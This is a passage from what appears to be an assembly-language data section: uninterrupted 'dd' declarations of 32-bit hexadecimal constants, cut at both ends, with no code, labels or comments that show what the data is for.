0A12C01AAh, 0FE1D0CB1h, 60DC40C3h, 0BE418C40h dd 2F5AE822h, 1C8123ACh, 0C0295C60h, 0DA35AB84h, 0BC275669h dd 0BCC81721h, 0C7531FC6h, 9428E7C0h, 0FCF14972h, 2EC12808h dd 0D4325F0h, 0BB001C37h, 89370E1Ch, 3FA1067Ah, 0A08D63F3h dd 9ABCF44h, 472B5575h, 42A43881h, 71E98421h, 44CC40CDh dd 0C307F50Eh, 41045EF7h, 373972F2h, 3BBC94ECh, 16E6048Ch dd 0D0A29043h, 0C18E25F8h, 0DAF7D4A1h, 0B2C73C6Dh, 68708A17h dd 14358754h, 0CC0B91A2h, 37742E00h, 0ADCEB4D9h, 685B2C17h dd 50594080h, 0ACCD8825h, 4C072275h, 329E795Ah, 8F78ED27h dd 0BE09454h, 0B340DBD0h, 652510BEh, 6081E480h, 28B9FF4h dd 306F34ECh, 0B86B98A2h, 0E89D7E24h, 465CACC8h, 0EA7C0035h dd 0B70F1B19h, 52557230h, 879F8C2h, 5A63CD08h, 1DDC0C2Eh dd 42D78717h, 0CA21ABDh, 945ED4CAh, 0EA465Ch, 0DF99B273h dd 0F804383Bh, 277C9042h, 6C3831A5h, 17956C99h, 808E1134h dd 5409523h, 2C0C734Fh, 198659Ah, 38C9368Fh, 0F8082FBBh dd 4CD7833Ch, 40F0D8F5h, 95F60759h, 6B55E000h, 4329AD1Bh dd 0C02097B6h, 7F58F956h, 48D25F4Fh, 80C85CE8h, 792C396h dd 6F3D724Ch, 64C8DAB2h, 0CF192075h, 0DC514317h, 0E9A7D449h dd 3F20A8A8h, 48D4ABFh, 12DA3D80h, 8E23543Ah, 0ACB47600h dd 58979515h, 5885FC31h, 3874C946h, 3E1B8040h, 607C02EBh dd 76E1B814h, 7E03FA8Ah, 43821753h, 7120F066h, 2405972Fh dd 0F8F8AC41h, 2C008C32h, 28910A81h, 122B4ACCh, 0F12F7924h dd 0E925E4E8h, 0B0A43244h, 0FAB01324h, 5DDC20A7h, 2F1639C8h dd 10F0BC0Ah, 313040CDh, 6EACA251h, 98181C76h, 220C8ADBh dd 0E88A418h, 260D081Fh, 589C0227h, 8CFC33C7h, 9899AEA0h dd 57865D81h, 406AEC02h, 0E19E4B34h, 2FE26234h, 0CFFCE500h dd 0FBEBDF0Ah, 879B00C2h, 99B9E119h, 97601CAAh, 0FD610A80h dd 71DD09DBh, 9CF0123Dh, 0C45E8B2Dh, 2ED25E7Ch, 38A523FCh dd 0C4844E00h, 0F921B978h, 0C60B3BEEh, 0C1AECC08h, 4F2F50ACh dd 90A07100h, 8F51F509h, 6F65A801h, 3E89A301h, 494723Fh dd 0F601A464h, 0ED66C36Ah, 0FC4A496h, 54085FDEh, 0E159020h dd 9D1DE042h, 96F14045h, 0EBCBE00Bh, 0D3C85000h, 0AAB25C98h dd 0D929C327h, 0C2E0B723h, 9601EECEh, 588C568Ah, 282C4E43h dd 9FEF0F00h, 33575AC2h, 362453Ah, 0A095322Ch, 787ADBF1h dd 779D078Ch, 4A996393h, 40023A94h, 898604ABh, 0D0A03049h dd 0DC98F7D6h, 0B726F07h, 5089442Bh, 82F11D18h, 0B7D1012Ch dd 80E7BAEDh, 66E3D911h, 771B96ACh, 480F162Bh, 0F01CC7A1h dd 0FEE158A9h, 2434AA2Ch, 51397D02h, 43A0811Dh, 0C02305A3h dd 0C2FE8101h, 0E8926AC4h, 150057C0h, 97F19F42h, 4CB3B5C3h dd 4E80B0ACh, 0B4FF11F6h, 4303742Eh, 4D491830h, 0D20D096Ah dd 2840FAF4h, 76741B8Bh, 0A4B3A917h, 0A0B720D2h, 78F2AD4h dd 7E0606AEh, 0C8723728h, 0F64C7101h, 97651D20h, 0B402BC40h dd 0BEAE0339h, 0D8F832FEh, 0A1445914h, 0F4A705A4h, 3001D9B3h dd 0EF8CB1CAh, 12002828h, 75D13C95h, 0E948BA2Eh, 0C4F42510h dd 43794014h, 0F57C5C00h, 9DCAD66Bh, 0A89022h, 6D076052h dd 3DDF355Bh, 0DA82E3Bh, 287CAAA3h, 23CFFC0h, 7A22996Dh dd 0D140CC32h, 0DB02256Bh, 0FEC894A5h, 0B753C054h, 7DCA00D5h dd 0AF011D86h, 0F200B479h, 3AE65F33h, 193C18h, 6AE9F5CAh dd 0BCB39A1Ah, 9603AA76h, 3BAB9427h, 919982Dh, 0CF8EED5h dd 9AC1CD47h, 1E0EE688h, 0E08F9B87h, 892B5029h, 1D1F006Ch dd 41CCE17Ah, 0AD0059D6h, 0BBE884Bh, 30ACBDAAh, 0FC41C5CDh dd 0E38CC5Eh, 0B0770028h, 3B5D5CA5h, 3D305CA6h, 33810D00h dd 6E1190B6h, 647C99E8h, 0D4A3BF3Ch, 0B858B484h, 5E560034h dd 805DDF54h, 99A43052h, 0B80A1040h, 813571F9h, 18E5AA31h dd 0B6E09DCBh, 90960041h, 99D3F5EEh, 0BF60A3B4h, 58DC7729h dd 9B8C1F79h, 7B0D0C34h, 0E500D918h, 29E47514h, 0E2B708DBh dd 189C00CCh, 0D5366F7Fh, 0F900B58Dh, 0B6DD3BB4h, 0E3E46h dd 0CA394B54h, 0DC04155h, 0DB3F10C4h, 0B3DECD60h, 0C8886A73h dd 0BDB118C9h, 0E061403Fh, 4F4162Bh, 17C21406h, 2E060610h dd 21E219D9h, 34009098h, 68327340h, 74D37C7Dh, 218A6069h dd 8434C327h, 8D0185E0h, 2EE15FFEh, 244A0781h, 40CB88C8h dd 14428E0Eh, 500A0672h, 0C6E19703h, 10A67B9Dh, 6CC8410Fh dd 6A3EA0CDh, 0CC3DFC08h, 0A1210908h, 716D3101h, 8927B921h dd 0E6486F20h, 4F6E027Eh, 0B630611Fh, 49548090h, 72CEA101h dd 7509DDBDh, 21190998h, 0A200B1B4h, 993CBBEEh, 63FBF306h dd 1493B9F6h, 1DAA4900h, 0A43956BBh, 0A4201F5h, 5EBC9B63h dd 0C7C091FDh, 0C26CC383h, 0B3136AAh, 6CCCBC10h, 0F1775007h dd 73158E9Fh, 0F9148806h, 12371279h, 0B0650009h, 571A486Ch dd 0BC793C28h, 0CE01C546h, 0D2734434h, 88890C69h, 3400C73Bh dd 872E598Eh, 6A66F83h, 0D5787EB5h, 360ED8F5h, 9744EEF3h dd 371C3A00h, 65F015h, 0FB097263h, 9848F434h, 76842D54h dd 5AC158h, 0FC5D119Eh, 0E858C997h, 0D321C00Bh, 0EF443ADEh dd 0F800E390h, 0A86F93A5h, 0E3FCF095h, 0AE579981h, 81FB6692h dd 97012410h, 81C8E694h, 629C0CE5h, 0DBA8F6A6h, 5492AF88h dd 5FA072h, 7338204Eh, 52B0DBB4h, 0C5D54919h, 0D9166BB8h dd 4297BE00h, 0E3B738BAh, 0B094369Ch, 5646D851h, 0C63AC302h dd 0EE1CA19Eh, 0F33A00D8h, 0F222EBB4h, 9E0FB6BFh, 174A6E5h dd 0AE8911FCh, 7C81A180h, 25CB8CBDh, 0E2146203h, 0D9C47B0Ah dd 51801B99h, 8E5D567Fh, 0EF00F249h, 51744EF5h, 4CE254Bh dd 669B1C9Ch, 0FB0C88BDh, 732F388h, 0BE27CF4Fh, 2E7EC322h dd 96F51812h, 0FA2CA820h, 0F3740DAAh, 42213EF8h, 8132C6FCh dd 0FA7347C8h, 8D221C26h, 34DC2E01h, 0F1ACF698h, 808C59A8h dd 0AB95F544h, 0F971E3A4h dd 7F309035h, 0E6BF31A8h, 22069D19h, 72150078h, 87A656B5h dd 69A0C829h, 382C3208h, 317B1101h, 800996F6h, 0F2E72A41h dd 60141505h, 0AD3179F5h, 3200E826h, 0C52A99FFh, 3625F44h dd 0F3D9EB7Fh, 5212088Ah, 4453365h, 44027411h, 0A0086F7Eh dd 0F52BAEC0h, 210490BAh, 0CC8399B1h, 929EC93Ah, 10051958h dd 0F3AC5D6h, 6A028E16h, 32F5A101h, 0D002001h, 4F58208Ah dd 348BF2h, 3E73D257h, 0CF8D4E71h, 51079430h, 3E639C6Ch dd 0E900E8F2h, 0B3EAB7E1h, 4D03C346h, 2AA0B94Fh, 15A3E05Dh dd 417C039Bh, 2997F7Dh, 6D00417Eh, 2264E71Dh, 71CB840Fh dd 5EB87A0Eh, 0F88FA1F4h, 0A6580407h, 560B7641h, 20FFF8F0h dd 7E9BA408h, 34C89AADh, 0C0B9F314h, 0CE86837Fh, 4984B00h dd 20BD7728h, 7F240552h, 0B9D2F8h, 2A36A5F8h, 41F69EFCh dd 0BF319C0Ah, 6580E01Ah, 0CC250777h, 3D331CC4h, 0FCB40068h dd 118A7031h, 8EF58507h, 534EF372h, 121B828h, 42EA64B2h dd 60B02607h, 0FC097E31h, 42369DAh, 2C450A4Ch, 886C8E47h dd 5E0CF84h, 8E19D642h, 0FA22AF1Ch, 611E72C1h, 2063B5CAh dd 0C0A1430Fh, 0CA70ADA8h, 4CA10556h, 5F707E31h, 2BA30EACh dd 92A210A3h, 0C700E1E2h, 4C8ACEh, 98238568h, 0F860E7DEh dd 6FDAFD02h, 0C2B33C1Fh, 0A91A8C40h, 0A8AD52F5h, 40809D26h dd 0C51BBF7Dh, 50230500h, 0C08AEBE2h, 749B0048h, 0B024F63Ch dd 14262D12h, 0C4640029h, 4934C560h, 20CA7323h, 0DE20033Ch dd 56D95034h, 7F832F5h, 85912495h, 9A723A80h, 0CFF8A48Fh dd 0A9498D98h, 7028803Ch, 28B8C293h, 21C00889h, 4780B63Eh dd 4D72C4A1h, 1A4486DCh, 94F5CB6h, 0A5A2F90Eh, 742945A0h dd 89AC193h, 0E8CD50CAh, 0F9A14EC3h, 0C219A572h, 18C0CB25h dd 0C11EC8h, 6673DAF6h, 9C228581h, 19DB80A1h, 7F4E34C4h dd 0A4685273h, 34F93DC0h, 0CB267714h, 7260E415h, 1EF683Ch dd 0F22AEB84h, 3073C27Dh, 345CAF58h, 3FF82328h, 50C36C9Dh dd 0CBBBE02Eh, 0C27036Ch, 0FEF0A39Fh, 933069D6h, 451DF91Fh dd 960F010Dh, 67B1E99Dh, 0B2E4732Dh, 0D4BC3085h, 6CFCBE00h dd 87352882h, 0E4EC146Fh, 0B448B88Dh, 48217811h, 984F10B0h dd 0F73DCEC0h, 0B4B1D99Eh, 3AC7ECC0h, 2FA60052h, 0FCA474Fh dd 8050E175h, 69888DA0h, 0FDEE48AEh, 31776E00h, 3EA15906h dd 840154FCh, 9F136311h, 0B8629429h, 7D3CC600h, 0C4A93DDBh dd 153F1C01h, 2A51BF43h, 98F878F9h, 0BAFB4816h, 0B8E17C19h dd 8CF184Ah, 0C19ECA3Ah, 0ED400FC4h, 0D1753AC4h, 0B48E8506h dd 44803E81h, 63003609h, 0FDEA3B62h, 0C076B09Ch, 21FF1619h dd 712C992Dh, 660BAC91h, 0E4FC229Dh, 235A20F9h, 2801B456h dd 0D1B97CA4h, 1C298694h, 99C86200h, 5D7A08A3h, 0FDCF1C00h dd 0E1F23E2Dh, 47B8949Fh, 0DC0ECB12h, 0C137B884h, 9FC5E4h dd 0C7FFBFB6h, 806EDC91h, 0BA6A18BEh, 0EA5F6904h, 0B8CC95F6h dd 0BFA218F2h, 1E6611FCh, 3C964172h, 7D3EBFC1h, 3F5020h dd 904AA92h, 4637EDDDh, 3C00E2EEh, 74B96261h, 0F8A839h dd 0E091EF26h, 2AD9B6EBh, 2D89DA04h, 8806C2Fh, 1831115h dd 0B617B028h, 0C9801B0Eh, 6801CCC3h, 0E4EAC600h, 0D6EC98BCh dd 89837h, 54058FB9h, 622AC557h, 1839E00h, 0F0D73F50h dd 0ADEF01D4h, 37688286h, 2955F44Ah, 0BB33A400h, 7F6789A6h dd 3EC5006Dh, 0D1BCBEB3h, 2100B450h, 0AC97CD31h, 98D996C0h dd 0F97200F0h, 0E1A471C8h, 4B0EB064h, 7DBA11Eh, 0CA101F17h dd 0D795BCh, 7E6B4B1h, 36238E14h, 2DB09B00h, 7E8A7550h dd 4A210031h, 597DAFAh, 0A200E87Ch, 29FB63ADh, 16EF196Dh dd 0BF6607h, 15E094A7h, 60010588h, 69842014h, 48803A93h dd 75E126F4h, 0DD12EE5Ch, 0C422DB8Bh, 0CE94812Dh, 0A8D35F88h dd 7B7DAC4h, 2F4163BDh, 9E9B0189h, 0AD588020h, 0BB0D44F8h dd 0C950090h, 0C3ACCF02h, 1E5C7BA0h, 80763976h, 5FC947E4h dd 480EE6DDh, 0C09D10F8h, 2AC3A75Dh, 3300ACB1h, 20658FF6h dd 25791Ch, 12DA71A2h, 93BA02A5h, 0E6039000h, 7E8BBC0Fh dd 7CA0041h, 0E3695D1Ch, 0AD0051FCh, 0FD44F521h, 3AC1BF1h dd 0B3087718h, 86D8AED3h, 0FB7E7CE9h, 88BEC807h, 3E90030Eh dd 78A54E02h, 4A6A1CD8h, 93DD074Bh, 0D97E3A0h, 0E58DCFE0h dd 0FAA4983Fh, 4900CC79h, 0D4109FD9h, 85218Eh, 0B2636130h dd 86474C5Eh, 1AB3FA03h, 0A005DBA5h, 4DCDB959h, 6D0FC0E1h dd 81A057DCh, 0E577BC32h, 8AA72E00h, 7967DA15h, 89CC00B8h dd 5019E9CEh, 450FD625h, 20E693C0h, 0DA1820E7h, 0D3020049h dd 17E24235h, 0A31DA279h, 6800DC73h, 8F015977h, 1CFC0153h dd 0CA45B0E1h, 0C1E97091h, 0EFAF440Eh, 2B0D4002h, 3D6B4E6h dd 9F03799h, 428AB954h, 3402B472h, 588FADB6h, 3A8C9072h dd 0E070BDFCh, 0A25B6C07h, 0D0BC9E3Ch, 0AAD700EDh, 0D25A5C71h dd 8004BC59h, 0E0418861h, 0F5401487h, 0BE78C5h, 96A44D0Fh dd 7E7A3908h, 0DDE8A754h, 14D84814h, 0BD600EAFh, 0F7185889h dd 1E397E44h, 56DC0498h, 30542012h, 0CA0019C9h, 4FB92878h dd 1E346824h, 40E1D81Ch, 9CB3CD2Eh, 63006AE8h, 61323EBEh dd 5C5D810Fh, 0FF0074A5h, 5C2F21B1h, 2E732BA9h, 0A6D1DB0Eh dd 55B4E0DFh, 77EFA0h, 237E87ECh, 363C380Ah, 0C2665Ch dd 80018D1Ch, 958652h, 387221C9h, 5931AE5Eh, 0E70099EAh dd 32017E84h, 708B75BEh, 0A6D21805h, 6D208C4Ch, 804B9A3Ah dd 85031AA3h, 2C1DED6h, 86EADBCCh, 1050E857h, 0FC03D173h dd 0E5D6E2C2h, 31881F2Bh, 4043DF25h, 0C699B191h, 4F29498h dd 0FC22EA00h, 967323A6h, 5916008Ch, 672FB930h, 4D00CEE3h dd 35ABFEB5h, 0E8CD42B0h, 532E0011h, 0A585726h, 0D409E671h dd 33AA514h, 0B15E5600h, 0EF42A59h, 408101D9h, 0F8066DBh dd 5EC2CCEh, 42174CFh, 4E08A880h, 609700DCh, 0D3992B1Fh dd 0F51440F3h, 1F4E5B8h, 0DDB163FEh, 1181FDB5h, 2CB0331Bh dd 30D3CD7Ch, 8C90FC78h, 27B6F412h, 2F7FD80Fh, 0F6A420D5h dd 0AD1E01h, 7C80FD8Bh, 271B99CCh, 9B582E00h, 7276BFEAh dd 0F8EAD5h, 0B3157CF1h, 6E861F5Eh, 0E3706C90h, 21CD5B30h dd 2A4CED14h, 0B0F593h, 9F404D4Fh, 7D6B59FFh, 850A7500h dd 0A0CADC8Ch, 0CFE324EDh, 0D5900033h, 0B950D28Fh, 9D009AE4h dd 46A6311Bh, 0C701ECEh, 9B9E8D72h, 0C7022218h, 19EF0512h dd 0F19080A9h, 68CFBFFh, 5EA746D0h, 331F289Dh, 0E68F5CA0h dd 15AB4021h, 7C83CFCh, 988F35A8h, 0EAC20052h, 8100504Eh dd 0AD54D365h, 1975767h, 0C9C37179h, 0E895CCBAh, 34504E1Eh dd 263AD8F0h, 0A7AE0056h, 1320724Dh, 0ABE103A9h, 0B01CE0A4h dd 7A5256A0h, 8B530700h, 15596D2Dh, 49320097h, 0AA8FD2B5h dd 650B0879h, 81808486h, 3CB6FEDAh, 2347C4h, 0A70DBEE9h dd 20212DDFh, 9750F500h, 0ACF98509h, 90410081h, 197BA85Eh dd 3900EAE5h, 981529B3h, 2C0EDEh, 5F9FE3ACh, 11F48883h dd 0D6F4B677h, 0DC92FC24h, 15D89340h, 0BC275E58h, 87590115h dd 0B98CF088h, 4E2D0CBh, 1A3C00ECh, 947525A1h, 0B89A715Fh dd 46CC28A0h, 0B9209004h, 0C0AA954Eh, 0BD0EE9E3h, 0A600E075h dd 9C46C1C4h, 0E6CB622h, 63E4CDB1h, 4D03D02Fh, 0BAC0284Ah dd 0C828D266h, 0AF000842h, 87BE29DCh, 2A9E024h, 0FD949F32h dd 506812A2h, 7D606FDCh dd 0C4B15489h, 0DD020188h, 0D79F1DC1h, 86E8F32Dh, 9BEADB72h dd 18489728h, 1296FA00h, 0C1DC628Bh, 657472h, 1041DC2h dd 0AD40F073h, 198A4300h, 0BBC1C70Bh, 0AFEE00CCh, 75655E7Dh dd 0F00D014h, 0B07B4248h, 5E2BA6Ch, 0AECC38CFh, 52388047h dd 0B472D473h, 0F4C25A00h, 0F2D9CB87h, 75720BE6h, 0D0AFFD3Dh dd 40D6EE6Eh, 7424F5D8h, 75007F0Fh, 7D49ACDDh, 6862A6h dd 953614Eh, 0CF72ED2Eh, 12BDFA07h, 0AA20EF9Dh, 0E274B20h dd 4AF3788Ch, 0F8E91F40h, 7B000D8Fh, 12053E2h, 3357BFh dd 130E3568h, 9C56FB79h, 0C801547Ch, 97EA9DAh, 64DD0773h dd 0F1AAD4h, 3E724C1Eh, 836A1470h, 0A3FF1900h, 5F2E8229h dd 0BDEC0081h, 0A96E97ACh, 8400EF6Dh, 366949D7h, 0DC4A0F2h dd 507EFD5Ch, 0EA7DD08Eh, 2E5D8400h, 4767C509h, 28C0504h dd 0E30ADE94h, 0BF04D098h, 8E019BE8h, 0A060428h, 1980FE19h dd 0C3A14A22h, 39118BD1h, 3300F114h, 9E497299h, 7400FFDBh dd 44FFBE6h, 0EC379F88h, 0C0B577F7h, 73176A61h, 5F1D9283h dd 2D8B7721h, 0B5608114h, 70F4F513h, 0F6BE30B2h, 2A576031h dd 0EF933100h, 7DD44E3Ch, 0AE9900F8h, 686B05F2h, 0C41FFB08h dd 9847F4CFh, 9680168Fh, 0BC8197h, 88744E93h, 1EEED808h dd 489253Dh, 7A9D536Bh, 7B18A0C8h, 649800CCh, 31BEDE5Ah dd 6C09F0DCh, 0E17CC5F6h, 0D5606FCCh, 0F2ED048Dh, 0A93819E2h dd 669B030Ch, 98491179h, 0C00DC283h, 8CE82370h, 7B06197Eh dd 75DA8B74h, 0F8710718h, 0C90C3D65h, 9C72CD87h, 6E313131h dd 8597DE61h, 3F66030h, 68722519h, 0E815068Ch, 1B8CB3BFh dd 2C4F07Fh, 7E94CB60h, 0D88B096Bh, 8EADEA01h, 7D118068h dd 0F0156CC3h, 82D9286Dh, 7FB57790h, 232E034Bh, 0EF83A56Bh dd 0C2088AE8h, 12BBFA03h, 0F8E06377h, 4A29D90h, 0C161817Dh dd 71089802h, 4D418300h, 9B05EDDAh, 6247D64h, 68937F43h dd 6D005085h, 0C8C6A82Fh, 62177DF7h, 19BEC8F8h, 0FD4CD20h dd 0A88200D5h, 8D23AA05h, 43008F4Fh, 16775572h, 0CFF544Ah dd 69F9F0E4h, 3707C6F0h, 8A1E3475h, 0CF30C710h, 936127F5h dd 0A48000AFh, 3923650Fh, 0E408550Bh, 6F544001h, 0B4E01Eh dd 97FBF20Dh, 0BEF51CABh, 0A1FCF100h, 0C9C87759h, 94791B16h dd 1903F0DDh, 0BF30D7BDh, 14B900F0h, 81A31D2Ah, 0A5712D51h dd 5A0094EAh, 97F1B7A7h, 34A1825h, 6DF4B9C8h, 0F839F6D0h dd 43FC809Fh, 0FFD5A4DEh, 0CA900E97h, 0F5627BD3h, 684AD775h dd 8131D861h, 52667119h, 0F07C1774h, 1B040321h, 84813A95h dd 37001EBBh, 0E492669Dh, 62BA530Fh, 0D31D6090h, 0EAEF5F4Dh dd 50E87E7Fh, 394A40Fh, 0A62E2324h, 57E07E1Eh, 0C81EF673h dd 0A91E3BE3h, 72241400h, 0E18756D3h, 0E236FB60h, 0E4CC009Eh dd 5CC5F877h, 0D071C2ECh, 51C4ED00h, 0BFA36C3Ch, 0D5713965h dd 0ECB76D00h, 0D2C7254Ah, 0C9F74C00h, 937B3E4h, 2F4B1F14h dd 18B218CFh, 270A73A4h, 2002FCB1h, 2029AAF3h, 96A813D6h dd 68D3D707h, 6CF01EB9h, 787F9CD5h, 3C5B7850h, 0B580FBD8h dd 2ECB8EDFh, 81011F64h, 5EBD48BEh, 88C4973h, 0D74188B3h dd 0DE058A00h, 0EABF82B6h, 5614A847h, 8B4A0728h, 0C7B3E3EEh dd 0F8E1E0FDh, 89007B98h, 0A17C5D25h, 2774337h, 6F03B456h dd 34ACB991h, 1D00FD08h, 37BFA672h, 11C4EB4h, 4C8E225Dh dd 88DEDAC5h, 818FB180h, 0B44F4AA6h, 0E22886A4h, 21415C4Dh dd 0A505744h, 3C63007Ah, 3FA984D3h, 791DCDE1h, 5DCF2D43h dd 4A78A3Eh, 600E7E50h, 0B90F1071h, 0AB002BDEh, 7D733D50h dd 14596BEh, 7E3C61C8h, 0DCE21E80h, 0CF6ED911h, 7CE8C429h dd 48CDFA04h, 0DD6842E4h, 6520C524h, 0D8816024h, 0D7442708h dd 443284F9h, 10BC51CBh, 0AD89D909h, 0D06EFD08h, 5C849029h dd 0EB8144D3h, 926DC600h, 16C00656h, 8B25C9B1h, 335E006Eh dd 0FFF43439h, 0B000607Ch, 0DA8419DEh, 31C0EE6h, 5F265A8Fh dd 49A89FD3h, 4300A19Ah, 0CF7CF65h, 0D50BDBh, 6BC52029h dd 0E3E0CEECh, 0C7508A00h, 83D155FDh, 18DD01E4h, 16A5C653h dd 4B74F849h, 3C19500h, 171E4088h, 0E8BB0114h, 26E343A0h dd 0A7FFC04Eh, 9EA5AA00h, 5AB30493h, 0E25E009Ch, 65245D47h dd 0D5F62881h, 0E3C30900h, 0A10FA674h, 5DF6075Eh, 90632A89h dd 0EDA62CEh, 9F8B3200h, 2F8FDEEBh, 5B9907C5h, 0F823BCh dd 0C464A83Eh, 0FE17E100h, 5A9CB0A0h, 0E4820038h, 7514D3C3h dd 0F0B5D9F7h, 9BF90021h, 0F88ECE55h, 0D83C549Ah, 6B0C00ADh dd 2251C384h, 4B5C0045h, 2844412Eh, 0E5078BD9h, 8780E9C9h dd 0ACF8ED70h, 0BAB900B3h, 0B4014DE7h, 0DA3DEA13h, 60A60F0Bh dd 814F4183h, 54C0F3B6h, 0B07F1E28h, 0B4A98B7Dh, 0BAE8F300h dd 0E0B7FE56h, 41CBC5h, 0E48D2652h, 4D2FBCF1h, 109BB807h dd 0FC40D9EFh, 0E61477F6h, 0AE7270h, 4256A906h, 0AC072A72h dd 1A034DFAh, 0BB6B8162h, 85CBF1DCh, 54D68C20h, 74FD8A3h dd 2E864330h, 81A220CEh, 0ED00347Bh, 80246A8h, 50C46AEEh dd 7FE8C0h, 5887D65Eh, 96E6BC32h, 0D8781E00h, 0BAD78B86h dd 26AB3BA1h, 0B94C280h, 0A40521DFh, 0EE9F0C00h, 0B4992FF0h dd 9D88A0E6h, 5EE40011h, 74B1C0C7h, 52752046h, 0DCBC1500h dd 5A2DD150h, 929F7D66h, 28700E8h, 9DADE9F5h, 68C07AEEh dd 7DC78FAFh, 78933033h, 68273958h, 656B7C0Eh, 0A453A11Fh dd 0CC40EB45h, 12FB24Bh, 0D49570A7h, 0C8313380h, 2E00B66Eh dd 0FF38ED42h, 4DBD1C8Fh, 0FD0020B5h, 40C6C5B7h, 0B9246242h dd 0C4826C9Fh, 43674EF0h, 76A0AF34h, 2B0940h, 12CB7825h dd 3B3DAE7h, 0AEC35C01h, 0B14BE9DDh, 107E03Eh, 0A0E036E8h dd 0DC2E5B18h, 3D4154E9h, 75184F35h, 0DFBA5887h, 94A76801h dd 7EA396FDh, 0B94AB8DBh, 3D78EAh, 0C69A8423h, 1B8BA956h dd 0DD63600h, 0ABF50E01h, 417024D8h, 383D0074h, 0F75EB58Ah dd 2B3BFE00h, 24237587h, 38C87904h, 0B08FE0AFh, 86009AE9h dd 45AB0532h, 5E2895F0h, 360184DEh, 0F5C6433Dh, 39E07FFEh dd 9E3B1E35h, 0E4A9C0CEh, 90EC0FA3h, 2A0E6000h, 5776A6F4h dd 0AB5F004Ch, 0EFA38F36h, 6A77B969h, 7F953B0Fh, 3007D306h dd 5A171385h, 6E7E73A0h, 7D67A2Ch, 0D39E8C27h, 0B85BF0B7h dd 750462CCh, 0B8944E9h, 1E200488h, 3D2C9E2h, 734523DFh dd 0E45FD4D9h, 0F804160Bh, 6EA8A493h, 0B7700C87h, 2ED35BFh dd 0F47F7CF6h, 2C4059BDh, 60E2F96Dh, 4600B398h, 0BEBC2B52h dd 0EE06A23h, 800720FEh, 37EC9EE0h, 2A1EEE2Ch, 60002888h dd 33D69981h, 74A2010Ah, 26AA293Bh, 0E080DEF1h, 1BC74BBEh dd 0B8CAC51Fh, 5BFC0C00h, 0A3BD8331h, 0C00ABACCh, 4EA108h dd 32507F1h, 916023B6h, 53F6CB00h, 76F069A5h, 0A2663F55h dd 7EACD0h, 86A15AD3h, 182CF524h, 90B148h, 364C5BEEh, 1CF61AF4h dd 40647371h, 0FCCC2C5Eh, 0A00A442h, 0A75B0466h, 5414EEh dd 411094DFh, 932DEDCEh, 9EA0BBF2h, 91009E0Fh, 84A12CA6h dd 90DF7E4h, 0C7EAB7AFh, 0D6E0E28Fh, 73B3AE56h, 0ABB052E4h dd 620227FCh, 49F6925h, 118080BAh, 30D65C6h, 186B1073h dd 4AA0B80Fh, 21F07771h, 0A7E5CF00h, 0FD820932h, 3BDF66Ah dd 8E232234h, 6E99F579h, 0FC153091h, 0B04EE603h, 9B5A2E6Ch dd 52600370h, 6678925Bh, 0B3743E88h, 0BEB2E300h, 82360643h dd 42CB007Bh dd 891614DEh, 79737D90h, 749F1000h, 0D5A1318Ah, 40B51F25h dd 136141ECh, 0D0E5595Fh, 7100E2B7h, 0FA4CFB0Eh, 0CE7CA6h dd 1F8CAF41h, 92158D6Dh, 10072E0Fh, 0EA26087h, 0E66EFCh dd 0D46C8CC3h, 78D6D2B9h, 0D0BDEE12h, 1DC0A01Dh, 5E16A6E3h dd 0D94100A0h, 0EAFEDB15h, 0C40049A3h, 708C6FC3h, 0CB2980h dd 7F16CA95h, 0D648FEECh, 0FC3B00Bh, 538800E5h, 249EF573h dd 1A05867h, 5A761B25h, 0C3D8CB90h, 0A0008AEAh, 0AC819513h dd 131CB3CBh, 20D62086h, 9ACA593Ch, 1DC27016h, 0CC412C00h dd 3F13E347h, 368006C0h, 0A6A99874h, 0A1005502h, 0FE2EDC81h dd 929F43Fh, 9A28C42Dh, 976A077Fh, 87DB8370h, 7FE223h dd 4992E0A1h, 0DCA87E71h, 0E5B158h, 8EB38445h, 1F2F9503h dd 0C0898030h, 0E787DCBh, 7F8A3C6h, 92EA7A60h, 33DA5465h dd 2E3180B6h, 25A97FE8h, 0BFF21600h, 96E73488h, 0C54A1DEDh dd 0A04DC7FBh, 2C752129h, 0A1AFDCBBh, 0B621EE00h, 94DB063Ch dd 4554136Ah, 85B43287h, 0D80B8241h, 896776DAh, 0D710C258h dd 1D13242Eh, 0C1076C39h, 82A6C68Eh, 0B2E440D4h, 0FA00EE01h dd 0D5AC42DEh, 0FEF609A4h, 850700EAh, 0D913EFE8h, 0B5009C94h dd 0CD867516h, 4B18A3h, 7F6C1297h, 463556CAh, 99AF8202h dd 576BBBh, 711F0EB1h, 6C245506h, 12853Ah, 68489AA5h, 7233250Fh dd 0ACE48100h, 0B92C5AFBh, 0BA640099h, 1DFCC9C0h, 67016B97h dd 0A6E22D3Ch, 0F7D3864Dh, 0A55C2190h, 0E3F22EDBh, 0D2CB00D8h dd 0D1D51A9h, 0FF340A1Fh, 7E9C0E80h, 0EE17076h, 0C9FA42E4h dd 57461AE0h, 0BB090799h, 80F9BACFh, 2417B93Ch, 0DAAB402Ch dd 7290CA01h, 0DB75EE0h, 5CA8C8F0h, 0C00F529Ah, 0FA00D502h dd 0A26B159Ch, 23401900h, 0DA8D5407h, 4F1226B1h, 8E5200E3h dd 0F31D42DDh, 0A8C83F30h, 2EE3AAC3h, 2C802C18h, 0FFEF8040h dd 34F7737Ch, 0F87D7700h, 5FB59B15h, 0E518020Dh, 0C70C0F0Ah dd 9F77040h, 0BDB8B200h, 9C12EAE6h, 13050598h, 0C392A52Fh dd 62B05B08h, 55E20B42h, 48E9900h, 0B79DA310h, 26EF006Fh dd 0A1B32D02h, 0DD701FD1h, 0FD150800h, 9D80F2C3h, 18397065h dd 10F3932Ch, 41070995h, 0E6F7A4BBh, 63990660h, 2679168Ch dd 6AE50032h, 0DC3F733Eh, 0B6AC4402h, 8083F875h, 2C3C8EA4h dd 13940356h, 44929153h, 0ECCC7E89h, 6AEE665Bh, 0FE244601h dd 0A9F4CE4Eh, 7FC6260h, 0DCDED61h, 0BF9FA130h, 3185D4F2h dd 0C30C4714h, 0EE970BA4h, 616490CEh, 0EED85877h, 0E22B0074h dd 85B2981Eh, 390B05E4h, 3868B1Bh, 0D3FF1198h, 0A917154h dd 0E59D0372h, 80AD1C9Ch, 58D77E25h, 90001C82h, 0B4F61551h dd 0CDE9BC6h, 0A8BDF5A6h, 0D60128D8h, 67DCC562h, 0D430E76Dh dd 49A10BECh, 0CCA71B86h, 0A8C5F059h, 0B6008BBAh, 874FDB7Eh dd 0E271598h, 28047D3Dh, 9F5B813Dh, 2C1847A2h, 716300F0h dd 5ECCDBF1h, 7E52005Fh, 2A9A4481h, 0AF0061ACh, 9BDAE142h dd 57B53DBh, 0DD364186h, 18CCC09Eh, 